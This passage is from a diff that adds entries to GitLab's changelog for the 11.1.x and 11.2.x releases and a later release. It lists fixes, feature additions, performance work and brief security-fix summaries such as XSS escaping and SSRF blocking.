+- Fix NamespaceUploader.base_dir for remote uploads.
+- Increase width of checkout branch modal box.
+- Fixes SVGs for empty states in job page overflowing on mobile.
+- Fix checkboxes on runner admin settings - The labels are now clickable.
+- Fixed IDE file row scrolling into view when hovering.
+- Accept upload files in public/uploads/tmp when using accelerated uploads.
+- Include correct CSS file for xterm in environments page.
+- Increase padding in code blocks.
+- Fix: Project deletion may not log audit events during user deletion.
+
+### Changed (32 changes, 5 of them are from the community)
+
+- Add default avatar to group. !17271 (George Tsiolis)
+- Allow project owners to set up forking relation through API. !18104
+- Limit navbar search for current project or group for small viewports. !18634 (George Tsiolis)
+- Add Noto Color Emoji font support. !19036 (Alexander Popov)
+- Update design of project overview page. !20536
+- Improve visuals of language bar on projects. !21006
+- Migrate NULL wiki_access_level to correct number so we count active wikis correctly. !21030
+- Support a custom action, such as proxying to another server, after /api/v4/internal/allowed check succeeds. !21034
+- Remove storage path dependency of gitaly install task. !21101
+- Support Kubernetes RBAC for GitLab Managed Apps when adding a existing cluster. !21127
+- Change 'Backlog' list title to 'Open' in Issue Boards. !21131
+- Enable Auto DevOps Instance Wide Default. !21157
+- Allow author to vote on their own issue and MRs. !21203
+- Truncate branch names and update "commits behind" text in MR page. !21206
+- Adds count for different board list types (label lists, assignee lists, and milestone lists) to usage statistics. !21208
+- Render files (`.md`) and wikis using CommonMark. !21228
+- Show deprecation message on project milestone page for category tabs. !21236
+- Remove redundant header from metrics page. !21282
+- Add default parameter to branches API. !21294 (Riccardo Padovani)
+- Restrict reopening locked issues for non authorized issue authors. !21299
+- Send back required object storage PUT headers in /uploads/authorize API. !21319
+- Display default status emoji if only message is entered. !21330
+- Move badge settings to general settings. !21333
+- Move project settings for default branch under "Repository". !21380
+- Import all common metrics into database. !21459
+- Improved commit panel in Web IDE. !21471
+- Administrative cleanup rake tasks now leverage Gitaly. !21588
+- Remove health check feature flag in BackgroundMigrationWorker.
+- Expose user's id in /admin/users/ show page. (Eva Kadlecova)
+- Improved styling of top bar in IDE job trace pane.
+- Make terminal button more visible.
+- Shows download artifacts button for pipelines on small screens.
+
+### Performance (13 changes, 2 of them are from the community)
+
+- Enable frozen string in rest of app/models/**/*.rb.
+- Add background migrations for legacy artifacts. !18615
+- Optimize querying User#manageable_groups. !21050
+- Incremental rendering with Vue on merge request page. !21063
+- Remove redundant ci_builds (status) index. !21070
+- Enable frozen in app/mailers/**/*.rb. !21147 (gfyoung)
+- Improve performance when fetching related merge requests for an issue. !21237
+- Speed up diff comparisons by limiting number of commit messages rendered. !21335
+- Write diff highlighting cache upon MR creation (refactors caching). !21489
+- Bulk-render commit titles in the tree view to improve performance. !21500
+- Enable frozen string in vestigial app files. (gfyoung)
+- Disable project avatar validation if avatar has not changed.
+- Bitbucket Server importer: Eliminate most idle-in-transaction issues.
+
+### Added (41 changes, 17 of them are from the community)
+
+- API: Protected tags. !14986 (Robert Schilling)
+- Include private contributions to contributions calendar. !17296 (George Tsiolis)
+- Add an option to whitelist users based on email address as internal when the "New user set to external" setting is enabled. !17711 (Roger Rüttimann)
+- Overhaul listing of projects in the group overview page. !20262
+- Add the ability to reference projects in comments and other markdown text. !20285 (Reuben Pereira)
+- Add branch filter to project webhooks. !20338 (Duana Saskia)
+- Allows to cancel a Created job. !20635 (Jacopo Beschi @jacopo-beschi)
+- First Improvements made to the contributor on-boarding experience. !20682 (Eddie Stubbington)
+- `/tag` quick action on Commit comments. !20694 (Peter Leitzen)
+- Allow admins to configure the maximum Git push size. !20758
+- Expose all artifacts sizes in jobs api. !20821 (Peter Marko)
+- Get the merge base of two refs through the API. !20929
+- Add ability to suppress the global "You won't be able to use SSH" message. !21027 (Ævar Arnfjörð Bjarmason)
+- API: Add expiration date for shared projects to the project entity. !21104 (Robert Schilling)
+- Added tooltips to tree list header. !21138
+- #47845 Add failure_reason to job webhook. !21143 (matemaciek)
+- Vendor Auto-DevOps.gitlab-ci.yml with new proxy env vars passed through to docker. !21159 (kinolaev)
+- Disable Auto DevOps for project upon first pipeline failure. !21172
+- Add rake command to migrate archived traces from local storage to object storage. !21193
+- Add Czech as an available language. !21201
+- Add Galician as an available language. !21202
+- Add support for extendable CI/CD config with. !21243
+- Disable Web IDE button if user is not allowed to push the source branch. !21288
+- Feature flag to disable Hashed Storage migration when renaming a repository. !21291
+- Store wiki uploads inside git repository. !21362
+- Adds Rubocop rule to enforce class_methods over module ClassMethods. !21379 (Jacopo Beschi @jacopo-beschi)
+- Merge request copies all associated issue labels and milestone on creation. !21383
+- Add group name badge under group milestone. !21384
+- Adds diverged_commits_count field to GET api/v4/projects/:project_id/merge_requests/:merge_request_iid. !21405 (Jacopo Beschi @jacopo-beschi)
+- Update Import/Export to only use new storage uploaders logic. !21409
+- Ask user explicitly about usage stats agreement on single user deployments. !21423
+- Added atom feed for tags. !21428
+- Add search to a group labels page. !21480
+- Display banner on project page if AutoDevOps is implicitly enabled. !21503
+- Recognize 'UNLICENSE' license files. !21508 (J.D. Bean)
+- Add git_v2 feature flag. !21520
+- Added file templates to the Web IDE.
+- Enabled multiple file uploads in the Web IDE.
+- Allow to delete group milestones.
+- Use separate model for tracking resource label changes and render label system notes based on data from this model.
+- Add system note when due date is changed. (Eva Kadlecova)
+
+### Other (48 changes, 16 of them are from the community)
+
+- Remove extra spaces from MR discussion notes. !18946 (Takuya Noguchi)
+- Add an example of the configuration of archive trace cron worker in gitlab.yml.example. !20583
+- Add target branch name to cherrypick confirmation message. !20846 (George Andrinopoulos)
+- CE Port of Protected Environments backend. !20859
+- Added missing i18n strings to issue boards lables dropdown. !21081
+- Combines emoji award spec files into single user_interacts_with_awards_in_issue_spec.rb file. !21126 (Nate Geslin)
+- Clarify current runners online text. !21151 (Ben Bodenmiller)
+- Rails5: Enable verbose query logs. !21231 (Jasper Maes)
+- Update presentation for SSO providers on log in page. !21233
+- Make margin of user status emoji consistent. !21268
+- Move usage ping payload from User Cohorts page to admin application settings. !21343
+- Add JSON logging for Bitbucket Server importer. !21378
+- Re-add project name field on "Create new project" page. !21386
+- Rails 5: replace removed silence_stream. !21387 (Jasper Maes)
+- Rails5 update Gemfile.rails5.lock. !21388 (Jasper Maes)
+- Rails5: fix can't quote ActiveSupport::HashWithIndifferentAccess. !21397 (Jasper Maes)
+- Don't show flash messages for performance bar errors. !21411
+- Backport schema_changed.sh from EE which prints the diff if the schema is different. !21422 (Jasper Maes)
+- Remove unused CSS part in mobile framework. !21439 (Takuya Noguchi)
+- Bump unauthenticated session time from 1 hour to 2 hours. !21453
+- Run review-docs-cleanup job for gitlab-org repos only. !21463 (Takuya Noguchi)
+- Rails 5: support schema t.index for mysql. !21485 (Jasper Maes)
+- Add route information to lograge structured logging for API logs. !21487
+- Add gitaly_calls attribute to API logs. !21496
+- Ignore irrelevant sql commands in metrics. !21498
+- Rails 5: fix hashed_path? method that looks up file_location that doesn't exist when running certain migration specs. !21510 (Jasper Maes)
+- Explicit hashed path check for trace, prevents background migration from accessing file_location column that doesn't exist. !21533 (Jasper Maes)
+- Add terminal_path to job API response. !21537
+- Add User-Agent to production_json.log. !21546
+- Make cluster page settings easier to read. !21550
+- Remove striped table styling of Find files and Admin Area Applications views. !21560 (Andreas Kämmerle)
+- Update ffi to 1.9.25. !21561 (Takuya Noguchi)
+- Send max_patch_bytes to Gitaly via Gitaly::CommitDiffRequest. !21575
+- Add margin between username and subsequent text in issuable header. !21697
+- Send artifact information in job API. !50460
+- Reduce differences between CE and EE code base in reports components.
+- Move project services log to a separate file.
+- Creates vue component for job log top bar with controllers.
+- Creates Vue component for trigger variables block in job log page.
+- Creates Vvue component for warning block about stuck runners.
+- Creates vue component for job log trace.
+- Creates vue component for erased block on job view.
+- Creates vue component for environments information in job log view.
+- Upgrade Monaco editor.
+- Creates empty state vue component for job view.
+- Creates vue component for commit block in job log page.
+- Creates vue components for stage dropdowns and job list container for job log view.
+- Creates Vue component for artifacts block on job page.
+
+
+## 11.2.8 (2018-10-31)
+
+### Security (1 change)
+
+- Monkey kubeclient to not follow any redirects.
+
+
+## 11.2.7 (2018-10-27)
+
+- No changes.
+
+## 11.2.6 (2018-10-26)
+
+### Security (5 changes)
+
+- Escape entity title while autocomplete template rendering to prevent XSS. !2558
+- Fix XSS in merge request source branch name.
+- Redact personal tokens in unsubscribe links.
+- Persist only SHA digest of PersonalAccessToken#token.
+- Prevent SSRF attacks in HipChat integration.
+
+
+## 11.2.5 (2018-10-05)
+
+### Security (3 changes)
+
+- Filter user sensitive data from discussions JSON. !2538
+- Properly filter private references from system notes.
+- Markdown API no longer displays confidential title references unless authorized.
+
+
+## 11.2.4 (2018-09-26)
+
+### Security (6 changes)
+
+- Redact confidential events in the API.
+- Set timeout for syntax highlighting.
+- Sanitize JSON data properly to fix XSS on Issue details page.
+- Fix stored XSS in merge requests from imported repository.
+- Fix xss vulnerability sourced from package.json.
+- Block loopback addresses in UrlBlocker.
+
+
+## 11.2.3 (2018-08-28)
+
+### Fixed (1 change)
+
+- Fixed cache invalidation issue with diff lines from 11.2.2.
+
+## 11.2.2 (2018-08-27)
+
+### Security (3 changes)
+
+- Fixed persistent XSS rendering/escaping of diff location lines.
+- Adding CSRF protection to Hooks resend action.
+- Block link-local addresses in URLBlocker.
+
+
+## 11.2.1 (2018-08-22)
+
+### Fixed (2 changes)
+
+- Fix wrong commit count in push event payload. !21338
+- Fix broken Git over HTTP clones with LDAP users. !21352
+
+### Performance (1 change)
+
+- Eliminate unnecessary and duplicate system hook fires. !21337
+
+
+## 11.2.0 (2018-08-22)
+
+### Security (5 changes)
+
+- Bump Gitaly to 0.117.1 for Rouge update. !21277
+- Fix symlink vulnerability in project import.
+- Bump rugged to 0.27.4 for security fixes.
+- Fixed XSS in branch name in Web IDE.
+- Adding CSRF protection to Hooks test action.
+
+### Removed (1 change)
+
+- Remove gitlab:user:check_repos, gitlab:check_repo, gitlab:git:prune, gitlab:git:gc, and gitlab:git:repack. !20806
+
+### Fixed (81 changes, 26 of them are from the community)
+
+- Fix namespace move callback behavior, especially to fix Geo replication of namespace moves during certain exceptions. !19297
+- Fix breadcrumbs in Admin/User interface. !19608 (Robin Naundorf)
+- Remove changes_count from MR API documentation where necessary. !19745 (Jan Beckmann)
+- Fix email confirmation bug when user adds additional email to account. !20084 (muhammadn)
+- Add support for daylight savings time to pipleline schedules. !20145
+- Fixing milestone date change when editing. !20279 (Orlando Del Aguila)
+- Add missing maximum_timeout parameter. !20355 (gfyoung)
+- [Rails5] Fix 'Invalid single-table inheritance type: Group is not a subclass of Gitlab::BackgroundMigration::FixCrossProjectLabelLinks::Namespace'. !20462 (@blackst0ne)
+- Rails5 fix mysql milliseconds problem in specs. !20464 (Jasper Maes)
+- Update Gemfile.rails5.lock with latest Gemfile.lock changes. !20466 (Jasper Maes)
+- Rails5 mysql fix milliseconds problem in pull request importer spec. !20475 (Jasper Maes)
+- Rails5 MySQL fix rename_column as part of cleanup_concurrent_column_type_change. !20514 (Jasper Maes)
+- Process commits as normal in forks when the upstream project is deleted. !20534
+- Fix project visibility tooltip. !20535 (Jamie Schembri)
+- Fix archived parameter for projects API. !20566 (Peter Marko)
+- Limit maximum project build timeout setting to 1 month. !20591
+- Fix GitLab project imports not loading due to API timeouts. !20599
+- Avoid process deadlock in popen by consuming input pipes. !20600
+- Disable SAML and Bitbucket if OmniAuth is disabled. !20608
+- Support multiple scopes when authing container registry scopes. !20617
+- Adds the ability to view group milestones on the dashboard milestone page. !20618
+- Allow issues API to receive an internal ID (iid) on create. !20626 (Jamie Schembri)
+- Fix typo in CSS transform property for Memory Graph component. !20650
+- Update design for system metrics popovers. !20655
+- Toggle Show / Hide Button for Kubernetes Password. !20659 (gfyoung)
+- Board label edit dropdown shows incorrect selected labels summary. !20673
+- Resolve "Unable to save user profile update with Safari". !20676
+- Escape username and password in UrlSanitizer#full_url. !20684
+- Remove background color from card-body style. !20689 (George Tsiolis)
+- Update total storage size when changing size of artifacts. !20697 (Peter Marko)
+- Rails5 fix user sees revert modal spec. !20706 (Jasper Maes)
+- Fix Web IDE crashing on directories named 'blob'. !20712
+- Fix accessing imported pipeline builds. !20713
+- Fixed bug with invalid repository reference using the wiki search. !20722
+- Resolve Copy diff file path as GFM is broken. !20725
+- Chart versions for applications installed by one click install buttons should be version locked. !20765
+- Fix misalignment of broadcast message on login page. !20794 (Robin Naundorf)
+- Fix Vue datatype errors for markdownVersion parsing. !20800
+- Fix authorization for interactive web terminals. !20811
+- Increase width of Web IDE sidebar resize handles. !20818
+- Fix new MR card styles. !20822
+- Fix link color in markdown code brackets. !20841
+- Rails5 update Gemfile.rails5.lock. !20858 (Jasper Maes)
+- fix height of full-width Metrics charts on large screens. !20866
+- Fix sorting by name on milestones page. !20881
+- Permit concurrent loads in gpg keychain mutex. !20894 (Jasper Maes)
+- Prevent editing and updating wiki pages with non UTF-8 encoding via web interface. !20906
+- Retrieve merge request closing issues from database cache. !20911
+- Fix LFS uploads not working with git-lfs 2.5.0. !20923
+- Fix bug setting http headers in Files API. !20938
+- Rails5: fix flaky spec. !20953 (Jasper Maes)
+- Fixed list of projects not loading in group boards. !20955
+- Fix autosave and ESC confirmation issues for MR discussions. !20968
+- Fix navigation to First and Next discussion on MR Changes tab. !20968
+- Fix rendering of the context lines in MR diffs page. !20968
+- fix error caused when using the search bar while unauthenticated. !20970
+- Fix GPG status badge loading regressions. !20987
+- Ensure links in notifications footer are not escaped. !21000
+- Rails5: update Rails5 lock for forgotten gem rouge. !21010 (Jasper Maes)
+- Fix UI error whereby prometheus application status is updated. !21029
+- Solves group dashboard line height is too tall for group names. !21033
+- Fix rendering of pipeline failure view when directly navigationg to it. !21043
+- Fix missing and duplicates on project milestone listing page. !21058
+- Fix merge requests not showing any diff files for big patches. !21125
+- Auto-DevOps.gitlab-ci.yml: Update glibc package signing key URL. !21182 (sgerrand)
+- Fix issue stopping Instance Statistics javascript to be executed. !21211
+- Fix broken JavaScript in IE11. !21214
+- Improve JUnit test reports in merge request widgets. !49966
+- Properly handle colons in URL passwords.
+- Renders test reports for resolved failures and resets error state.
+- Fix handling of annotated tags when Gitaly is not in use.
+- Fix serialization of LegacyDiffNote.
+- Escapes milestone and label's names on flash notice when promoting them.
+- Allow to toggle notifications for issues due soon.
+- Sanitize git URL in import errors. (Jamie Schembri)
+- Add missing predefined variable and fix docs.
+- Allow updating a project's avatar without other params. (Jamie Schembri)
+- Fix the UI for listing system-level labels.
+- Update hamlit to fix ruby 2.5 incompatibilities, fixes #42045. (Matthew Dawson)
+- Fix updated_at if created_at is set for Note API.
+- Fix search bar text input alignment.
+
+### Changed (32 changes, 7 of them are from the community)
+
+- Rack attack is now disabled by default. !16669
+- Include full image URL in webhooks for uploaded images. !18109 (Satish Perala)
+- Enable hashed storage for all newly created or renamed projects. !19747
+- Support manually stopping any environment from the UI. !20077
+- Close revert and cherry pick modal on escape keypress. !20341 (George Tsiolis)
+- Adds with_projects optional parameter to GET /groups/:id API endpoint. !20494
+- Improve feedback when a developer is unable to push to an empty repository. !20519
+- Display GPG status on repository and blob pages. !20524
+- Updated design of new entry dropdown in Web IDE. !20526
+- UX improvements to top nav search bar. !20537
+- Update issue closing pattern. !20554 (George Tsiolis)
+- Add merge request header branch actions left margin. !20643 (George Tsiolis)
+- Rubix, scikit-learn, tensorflow & other useful libraries pre-installed with JupyterHub. !20714 (Amit Rathi)
+- Show decimal place up to single digit in Stacked Progress Bar. !20776
+- Wrap job name on pipeline job sidebar. !20804 (George Tsiolis)
+- Redesign Web IDE back button and context header. !20850
+- Removes "show all" on reports and adds an actionButtons slot. !20855
+- Put fallback reply-key address first in the References header. !20871
+- Allow non-admins to view instance statistics (if permitted by the instance admins). !20874
+- Adds the project and group name to the return type for project and group milestones. !20890
+- Restyle status message input on profile settings. !20903
+- Ensure installed Helm Tiller For GitLab Managed Apps Is protected by mutual auth. !20928
+- Allow multiple JIRA transition ids. !20939
+- Use Helm 2.7.2 for GitLab Managed Apps. !20956
+- Create branch and MR picker for Web IDE. !20978
+- Update commit message styles with monospace font and overflow-x. !20988
+- Update to Rouge 3.2.0, including Terraform and Crystal lexer and bug fixes. !20991
+- Update design of project templates. !21012
+- Update to Rouge 3.2.1, which includes a critical fix to the Perl Lexer. !21263
+- Add a 10 ms bucket for SQL timings.
+- Show one digit after dot in commit_per_day value in charts page. (msdundar)
+- Redesign GCP offer banner.
+
+### Performance (30 changes, 10 of them are from the community)
+
+- Stop dynamically creating project and namespace routes. !20313
+- Tracking the number of repositories and wikis with a cached counter for site-wide statistics. !20413
+- Optimize ProjectWiki#empty? check. !20573
+- Delete UserActivities and related workers. !20597
+- Enable frozen string in app/services/**/*.rb. !20656 (gfyoung)
+- Enable more frozen string in app/services/**/*.rb. !20677 (gfyoung)
+- Limit the TTL for anonymous sessions to 1 hour. !20700
+- Enable even more frozen string in app/services/**/*.rb. !20702 (gfyoung)
+- Enable frozen string in app/serializers/**/*.rb. !20726 (gfyoung)
+- Enable frozen string in newly added files to previously processed directories. !20763 (gfyoung)
+- Use limit parameter to retrieve Wikis from Gitaly. !20764
+- Add Dangerfile for frozen_string_literal. !20767 (gfyoung)
+- Remove method instrumentation for Banzai filters and reference parsers. !20770
+- Enable frozen strings in lib/banzai/filter/*.rb. !20775
+- Enable frozen strings in remaining lib/banzai/filter/*.rb files. !20777
+- DNS prefetching if asset_host for CDN hosting is set. !20781
+- Bump nokogiri to 1.8.4 and sanitize to 4.6.6 for performance. !20795
+- Enable frozen string in app/presenters and app/policies. !20819 (gfyoung)
+- Bump haml gem to 5.0.4. !20847
+- Enable frozen string in app/models/*.rb. !20851 (gfyoung)
+- Performing Commit GPG signature calculation in bulk. !20870
+- Fix /admin/jobs failing to load due to statement timeout. !20909
+- refactor pipeline job log animation to reduce CPU usage. !20915
+- Improve performance when fetching collapsed diffs and commenting in merge requests. !20940
+- Enable frozen string for app/models/**/*.rb. !21001 (gfyoung)
+- Don't set gon variables in JSON requests. !21016 (Peter Leitzen)
+- Improve performance and memory footprint of Changes tab of Merge Requests. !21028
+- Avoid N+1 on MRs page when metrics merging date cannot be found. !21053
+- Bump Gitaly to 0.117.0. !21055
+- Access metadata directly from Object Storage.
+
+### Added (41 changes, 18 of them are from the community)
+
+- Show repository languages for projects. !19480
+- Adds API endpoint /api/v4/(project/group)/:id/members/all to list also inherited members. !19748 (Jacopo Beschi @jacopo-beschi)
+- Added live preview for JavaScript projects in the Web IDE. !19764
+- Add support for SSH certificate authentication. !19911 (Ævar Arnfjörð Bjarmason)
+- Add Hangouts Chat integration. !20290 (Kukovskii Vladimir)
+- Add ability to import multiple repositories by uploading a manifest file. !20304
+- Show Project ID on project home panel. !20305 (Tuğçe Nur Taş)
+- Add an option to have a private profile on GitLab. !20387 (jxterry)
+- Extend gitlab-ci.yml to request junit.xml test reports. !20390
+- Add the first mutations for merge requests to GraphQL. !20443
+- Add /-/health basic health check endpoint. !20456
+- Add filter for minimal access level in groups and projects API. !20478 (Marko, Peter)
+- Add download button for single file (including raw files) in repository. !20480 (Kia Mei Somabes)
+- Gitaly Servers link into Admin > Overview navigation menu. !20550
+- Adds foreign key to notification_settings.user_id. !20567 (Jacopo Beschi @jacopo-beschi)
+- JUnit XML Test Summary In MR widget. !20576
+- Cleans up display of Deploy Tokens to match Personal Access Tokens. !20578 (Marcel Amirault)
+- Users can set a status message and emoji. !20614 (niedermyer & davamr)
+- Add emails delivery Prometheus metrics. !20638
+- Verify runner feature set. !20664
+- Add more comprehensive metrics tracking authentication activity. !20668
+- Add support for tar.gz AUTO_DEVOPS_CHART charts (#49324). !20691 (@kondi1)
+- Adds Vuex store for reports section in MR widget. !20709
+- Redirect commits to root if no ref is provided (31576). !20738 (Kia Mei Somabes)
+- Search for labels by title or description on project labels page. !20749
+- Add object storage logic to project import. !20773
+- Enable renaming files and folders in Web IDE. !20835
+- Warn user when reload IDE with staged changes. !20857
+- Add local project uploads cleanup task. !20863
+- Improve error message when adding invalid user to a project. !20885 (Jacopo Beschi @jacopo-beschi)
+- Add link to homepage on static http status pages (404, 500, etc). !20898 (Jason Funk)
+- Clean orphaned files in object storage. !20918
+- Adds frontend support to render test reports on the MR widget. !20936
+- Trigger system hooks when project is archived/unarchived. !20995
+- Custom Wiki Sidebar Support Issue 14995. (Josh Sooter)
+- Emails on push recipients now accepts formats like John Doe <johndoe@example.com>. (George Thomas)
+- Add new model for tracking label events.
+- Improve danger confirmation modals by focusing input field. (Jamie Schembri)
+- Clicking CI icon in Web IDE now opens up pipelines panel.
+- Enabled deletion of files in the Web IDE.
+- Added button to regenerate 2FA codes. (Luke Picciau)
+
+### Other (26 changes, 7 of them are from the community)
+
+- Update specific runners help URL. !20213 (George Tsiolis)
+- Enable frozen string in apps/uploaders/*.rb. !20401 (gfyoung)
+- Update docs of Helm Tiller. !20515 (Takuya Noguchi)
+- Persist 'Auto DevOps' banner dismissal globally. !20540
+- Move xterm to a node dependency and remove it from vendor's folder. !20588
+- Upgrade grape-path-helpers to 1.0.6. !20601
+- Delete todos when user loses access to read the target. !20665
+- Remove tooltips from commit author avatar and name in commit lists. !20674
+- Allow cloning LFS repositories through DeployTokens. !20729
+- Replace 'Sidekiq::Testing.inline!' with 'perform_enqueued_jobs'. !20768 (@blackst0ne)
+- Replace author_link snake case in stylesheets, specs, and helpers. !20797 (George Tsiolis)
+- Replace snake case in SCSS variables. !20799 (George Tsiolis)
+- Add rbtrace to Gemfile. !20831
+- Add support for searching users by confirmed e-mails. !20893
+- Changes poll.js to keep polling on any 2xx http status code. !20904
+- Remove todos of users without access to targets migration. !20927
+- Improve and simplify Auto DevOps settings flow. !20946
+- Keep admin settings sections open after submitting forms. !21040
+- CE port of "List groups with developer maintainer access on project creation". !21051
+- Update git rerere link in docs. !21060 (gfyoung)
+- Add 'tabindex' attribute support on Icon component to show BS4 popover on trigger type 'focus'. !21066
+- Add a Gitlab::Profiler.print_by_total_time convenience method for profiling from a Rails console.
+- Automatically expand runner's settings block when linking to the runner's settings page.
+- Increases title column on modal for reports.
+- Disables toggle comments button if diff has no discussions.
+- Moves help_popover component to a common location.
+
+
+## 11.1.8 (2018-10-05)
+
+### Security (3 changes)
+
+- Filter user sensitive data from discussions JSON. !2539
+- Properly filter private references from system notes.
+- Markdown API no longer displays confidential title references unless authorized.
+
+
+## 11.1.7 (2018-09-26)
+
+### Security (6 changes)
+
+- Redact confidential events in the API.
+- Set timeout for syntax highlighting.
+- Sanitize JSON data properly to fix XSS on Issue details page.
+- Fix stored XSS in merge requests from imported repository.
+- Fix xss vulnerability sourced from package.json.
+- Block loopback addresses in UrlBlocker.
+
+
+## 11.1.6 (2018-08-28)
+
+### Fixed (1 change)
+
+- Fixed cache invalidation issue with diff lines from 11.2.2.
+
+## 11.1.5 (2018-08-27)
+
+### Security (3 changes)
+
+- Fixed persistent XSS rendering/escaping of diff location lines.
+- Adding CSRF protection to Hooks resend action.
+- Block link-local addresses in URLBlocker.
+
+### Fixed (1 change, 1 of them is from the community)
+
+- Sanitize git URL in import errors. (Jamie Schembri)
+
+
+## 11.1.4 (2018-07-30)
+
+### Fixed (4 changes, 1 of them is from the community)
+
+- Rework some projects table indexes around repository_storage field. !20377
+- Don't overflow project/group dropdown results. !20704 (gfyoung)
+- Fixed IDE not opening JSON files. !20798
+- Disable Gitaly timeouts when creating or restoring backups. !20810
+
+## 11.1.3 (2018-07-27)
+
+- Not released.
+
+## 11.1.2 (2018-07-26)
+
+### Security (4 changes)
+
+- Adding CSRF protection to Hooks test action.
+- Don't expose project names in GitHub counters.
+- Don't expose project names in various counters.
+- Fixed XSS in branch name in Web IDE.
+
+### Fixed (1 change)
+
+- Escapes milestone and label's names on flash notice when promoting them.
+
+### Performance (1 change)
+
+- Fix slow Markdown rendering. !20820
+
+
+## 11.1.1 (2018-07-23)
+
+### Fixed (2 changes)
+
+- Add missing Gitaly branch_update nil checks. !20711
+- Fix filename for accelerated uploads.
+
+### Added (1 change)
+
+- Add uploader support to Import/Export uploads. !20484
+
+
+## 11.1.0 (2018-07-22)
+
+### Security (6 changes)
+
+- Fix XSS vulnerability for table of content generation.
+- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
+- HTML escape branch name in project graphs page.
+- HTML escape the name of the user in ProjectsHelper#link_to_member.
+- Don't show events from internal projects for anonymous users in public feed.
+- Fix symlink vulnerability in project import.
+
+### Removed (1 change)
+
+- Remove deprecated object_storage_upload queue.
+
+### Fixed (98 changes, 52 of them are from the community)
+
+- Keep lists ordered when copying only list items. !18522 (Jan Beckmann)
+- Fix bug where maintainer would not be allowed to push to forks with merge requests that have `Allow maintainer edits` enabled. !18968
+- mergeError message has been binded using v-html directive. !19058 (Murat Dogan)
+- Set MR target branch to default branch if target branch is not valid. !19067
+- Fix CSS for buttons not to be hidden on issues/MR title. !19176 (Takuya Noguchi)
+- Use same gem versions for rails5 as for rails4 where possible. !19498 (Jasper Maes)
+- Fix extra blank line at start of rendered reStructuredText code block. !19596
+- Fix username validation order on signup, resolves #45575. !19610 (Jan Beckmann)
+- Make quick commands case insensitive. !19614 (Jan Beckmann)
+- Remove incorrect CI doc re: PowerShell. !19622 (gfyoung)
+- Fixes Microsoft Teams notifications for pipeline events. !19632 (Jeff Brown)
+- Fix branch name encoding for dropdown on issue page. !19634
+- Rails5 fix expected `issuable.reload.updated_at` to have changed. !19733 (Jasper Maes)
+- Rails5 fix stack level too deep. !19762 (Jasper Maes)
+- Rails5 ActionController::ParameterMissing: param is missing or the value is empty: application_setting. !19763 (Jasper Maes)
+- Invalidate cache with project details when repository is updated. !19774
+- Rails5 fix no implicit conversion of Hash into String. ActionController::Parameters no longer returns an hash in Rails 5. !19792 (Jasper Maes)
+- [Rails5] Fix snippets_finder arel queries. !19796 (@blackst0ne)
+- Fix fields for author & assignee in MR API docs. !19798 (gfyoung)
+- Remove scrollbar in Safari in repo settings page. !19809 (gfyoung)
+- Omits operartions and kubernetes item from project sidebar when repository or builds are disabled. !19835
+- Rails5 fix passing Group objects array into for_projects_and_groups milestone scope. !19863 (Jasper Maes)
+- Fix chat service tag notifications not sending when only default branch enabled. !19864
+- Only show new issue / new merge request on group page when issues / merge requests are enabled. !19869 (Jan Beckmann)
+- [Rails5] Explicitly set request.format for blob_controller. !19876 (@blackst0ne)
+- [Rails5] Fix optimistic lock value. !19878 (@blackst0ne)
+- Rails5 fix update_attribute usage not causing a save. !19881 (Jasper Maes)
+- Rails5 fix connection execute return integer instead of string. !19901 (Jasper Maes)
+- Rails5 fix format in uploads actions. !19907 (Jasper Maes)
+- [Rails5] Fix "-1 is not a valid data_store". !19917 (@blackst0ne)
+- [Rails5] Invalid single-table inheritance type: Group is not a subclass of Namespace. !19918 (@blackst0ne)
+- [Rails5] Fix pipeline_schedules_controller_spec. !19919 (@blackst0ne)
+- Rails5 fix passing Group objects array into for_projects_and_groups milestone scope. !19920 (Jasper Maes)
+- Rails5 update Gemfile.rails5.lock. !19921 (Jasper Maes)
+- [Rails5] Fix sessions_controller_spec. !19936 (@blackst0ne)
+- [Rails5] Set request.format for artifacts_controller. !19937 (@blackst0ne)
+- Fix webhook error when password is not present. !19945 (Jan Beckmann)
+- Fix label and milestone duplicated records and IID errors. !19961
+- Rails5 fix expected: 1 time with arguments: (97, anything, {"squash"=>false}) received: 0 times. !20004 (Jasper Maes)
+- Rails5 fix Projects::PagesController spec. !20007 (Jasper Maes)
+- [Rails5] Fix ActionCable '/cable' mountpoint conflict. !20015 (@blackst0ne)
+- Fix branches are not shown in Merge Request dropdown when preferred language is not English. !20016 (Hiroyuki Sato)
+- Rails5 fix Admin::HooksController. !20017 (Jasper Maes)
+- Rails5 fix expected: 0 times with any arguments received: 1 time with arguments: DashboardController. !20018 (Jasper Maes)
+- [Rails5] Set request.format in commits_controller. !20023 (@blackst0ne)
+- Keeps the label on an issue when the issue is moved. !20036
+- Cleanup Prometheus ruby metrics. !20039 (Ben Kochie)
+- Rails 5 fix Capybara::ElementNotFound: Unable to find visible css #modal-revert-commit and expected: "/bar" got: "/foo". !20044 (Jasper Maes)
+- [Rails5] Force the callback run first. !20055 (@blackst0ne)
+- Add readme button to non-empty project page. !20104
+- Fixed bug when editing a comment in an issue,the preview mode is toggled in the main textarea. !20112 (Constance Okoghenun)
+- Ignore unknown OAuth sources in ApplicationSetting. !20129
+- Fix paragraph line height for emoji. !20137 (George Tsiolis)
+- Fixes issue with uploading same image to Profile Avatar twice. !20161 (Chirag Bhatia)
+- Rails5 fix arel from in mysql_median_datetime_sql. !20167 (Jasper Maes)
+- Adds the `locked` state to the merge request API so that it can be used as a search filter. !20186
+- Enable Doorkeeper option to avoid generating new tokens when users login via oauth. !20200
+- Fix OAuth Application Authorization screen to appear with each access. !20216
+- Rails5 fix MySQL milliseconds problem in specs. !20221 (Jasper Maes)
+- Rails5 fix Mysql comparison failure caused by milliseconds problem. !20222 (Jasper Maes)
+- Updated last commit link color. !20234 (Constance Okoghenun)
+- Fixed Merge request changes dropdown displays incorrectly. !20237 (Constance Okoghenun)
+- Show jobs from same pipeline in sidebar in job details view. !20243
+- [Rails5] Fix milestone GROUP BY query. !20256 (@blackst0ne)
+- Line separator to the left of the 'Admin area' wrench icon had vanished. !20282 (bitsapien)
+- Check if archived trace exist before archive it. !20297
+- Load Devise with Omniauth when auto_sign_in_with_provider is configured. !20302
+- Fix link to job when creating a new issue from a failed job. !20328
+- Fix double "in" in time to artifact deletion message. !20357 (@bbodenmiller)
+- Fix wrong role badge displayed in projects dashboard. !20374
+- Stop relying on migrations in the CacheableAttributes cache key and cache attributes for 1 minute instead. !20389
+- Fixes toggle discussion button not expanding collapsed discussions. !20452
+- Resolve compatibility issues with node 6. !20461
+- Fixes base command used in Helm installations. !20471
